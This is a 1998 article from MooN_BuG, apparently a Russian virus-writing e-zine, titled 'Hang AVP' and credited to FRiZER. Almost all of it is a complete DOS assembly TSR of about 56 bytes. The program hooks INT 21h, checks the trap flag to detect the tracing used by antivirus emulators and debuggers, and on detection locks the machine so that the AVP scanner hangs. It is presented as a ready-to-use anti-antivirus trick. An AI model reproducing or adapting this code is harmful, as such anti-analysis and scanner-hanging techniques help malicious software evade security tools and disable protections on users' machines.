[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998 file 005
Повесить AVP
by FRiZER
56 байт, которые повесили мир... тьфу, AVP ;))) только не забудьте убрать
/M из комадной строки
;Int's AutoTrace Detector by FRiZER
.model tiny
.386
.code
.startup
org 100h
s:
mov ax,3521h
int 21h ; es:bx - seg:ofs int21h
mov O21,bx
mov S21,es
mov ah,25h ; set int21h
lea dx,I21
int 21h
lea dx,e
int 27h
I21:
push ds si ax
xor si,si ; si = 0
mov ds,si ; ds = 0
lds si,[si+4] ; ds:si - seg:ofs int1
push word ptr [si] ; save 1st word
mov [si],byte ptr 0CFh ; replace 1st byte with iRET
pushf ; push flags
pop ax ; ax = flags
and ax,0100h ; TF=0 ?
jz TracerNotFound ; yes => tracer not found
cli
jmp $ ; AutoTracers - suxъ i muzdie
TracerNotFound:
pop word ptr [si] ; restore 1st word
pop ax si ds
db 0EAh ; jump to original int21h
O21 dw ?
S21 dw ?
e:
end